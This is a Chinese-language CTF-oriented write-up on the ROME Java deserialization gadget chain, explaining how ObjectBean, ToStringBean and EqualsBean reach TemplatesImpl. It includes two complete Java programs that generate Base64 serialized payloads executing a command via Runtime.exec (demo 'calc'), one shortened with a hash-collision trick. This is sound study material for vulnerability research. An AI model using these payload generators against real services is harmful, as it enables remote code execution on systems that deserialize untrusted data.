ROME反序列化利用链

ROME

D^3CTF有考到一个ROME的利用链,正好借此机会跟一下这个链子,和缩小链子的方法思路。

ROME 是一个可以兼容多种格式的 feeds 解析器,可以从一种格式转换成另一种格式,也可返回指定格式或 Java 对象。

ObjectBean

com.sun.syndication.feed.impl.ObjectBean 是 Rome 提供的一个封装类型,初始化时提供了一个 Class 类型和一个 Object 对象实例进行封装。

ObjectBean 也是使用委托模式设计的类,其中有三个成员变量,分别是 EqualsBean/ToStringBean/CloneableBean 类,这三个类为 ObjectBean 提供了 equalstoStringclone 以及 hashCode 方法。

这里有个hashCode方法会去调用_objtoString() 方法。

同样要调用tostring也可以使用BadAttributeValueExpException

image-20220308190642261

ToStringBean

在这个类中存在动态方法的调用。

image-20220308185828572

这里的 BeanIntrospector.getPropertyDescriptors() 获取 _beanClass 的全部 getter/setter 方法,然后调用所有的getter方法去打印出值。也就是说这个位置会触发 _obj 实例的全部 getter 方法,那么再联系TemplatesImpl 的利用链就可以达到rce。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import com.example.demo.tools.Tools;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtNewConstructor;

import javax.xml.transform.Templates;
import java.util.Base64;


public class StaticBlock {
public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj,value);
}
private static byte[] getShortTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("E");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = CtNewConstructor.make(
" public E() {\n" +
" Runtime.getRuntime().exec(\"" + cmd + "\");\n" +
" }", ctClass);
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();

return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}

public static void main(String[] args) throws Exception{
// 生成恶意 bytecodes

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj,"_name","Pupi1");
setFieldValue(obj,"_class",null);
// setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
setFieldValue(obj,"_bytecodes",new byte[][]{getShortTemplatesImpl("calc")});

ToStringBean bean = new ToStringBean(Templates.class,obj);
ObjectBean objectBean = new ObjectBean(String.class,"Pupi1");
HashMap map = new HashMap();
map.put(objectBean,"");
setFieldValue(objectBean,"_equalsBean",new EqualsBean(ToStringBean.class,bean));
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream);
out.writeObject(map);
byte[] sss = byteArrayOutputStream.toByteArray();
out.close();
String exp = Base64.getEncoder().encodeToString(sss);
System.out.println(exp);
}
}

EqualsBean

在这个类中有和tostringBean类似的代码,在beanEquals中

image-20220308191137898

同样的通过反射去调用了getter方法,可以通过equals触发。

接下来找equals的调用就可以了,在Hashtable,HashMap,HashSet这些都可以有触发equals的地方。

这里说一下用HashMap的触发。

首先我们知道了hashmap在put时key的hashcode一致时会触发equals,而且在map中对象大于1时会调用父类的equals

image-20220308192505969

这个位置可以很明显的看到触发了equals,那么这里有用到一个小trick,就是"yy".hashCode()=="zZ".hashCode()也就是 Objects.hashCode("yy")==Objects.hashCode("zZ")。类似的

image-20220308193106690

这样的map1和map2的hashcode是一样的,所以可以正好满足条件,然后让valueEqualsBean 对象,让 m.get(key) 是一个TemplateImpl 对象,最后通过反射设置有害的恶意类。

用javassist设置恶意类来缩小payload长度。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
import com.example.demo.tools.Tools;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtNewConstructor;

import javax.xml.transform.Templates;
import java.util.Base64;


public class StaticBlock {
public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj,value);
}
private static byte[] getShortTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("E");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = CtNewConstructor.make(
" public E() {\n" +
" Runtime.getRuntime().exec(\"" + cmd + "\");\n" +
" }", ctClass);
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();

return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}

public static void main(String[] args) throws Exception{
// 生成恶意 bytecodes

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj,"_name","Pupi1");
setFieldValue(obj,"_class",null);
// setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
setFieldValue(obj,"_bytecodes",new byte[][]{getShortTemplatesImpl("calc")});

EqualsBean bean = new EqualsBean(String.class,"Pupi1");

HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy",obj);
map1.put("zZ",bean);
map2.put("yy",bean);
map2.put("zZ",obj);
System.out.println(map1.hashCode());
System.out.println(map2.hashCode());
HashMap table = new HashMap();
table.put(map1,"1");
table.put(map2,"2");

setFieldValue(bean,"_beanClass",Templates.class);
setFieldValue(bean,"_obj",obj);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream);
out.writeObject(table);
byte[] sss = byteArrayOutputStream.toByteArray();
out.close();
String exp = Base64.getEncoder().encodeToString(sss);
System.out.println(exp);
}

}

参考链接:

https://www.yuque.com/jinjinshigekeaigui/qskpi5/cz1um4#GVNRu

https://su18.org/post/ysoserial-su18-5/#rome

https://xz.aliyun.com/t/10824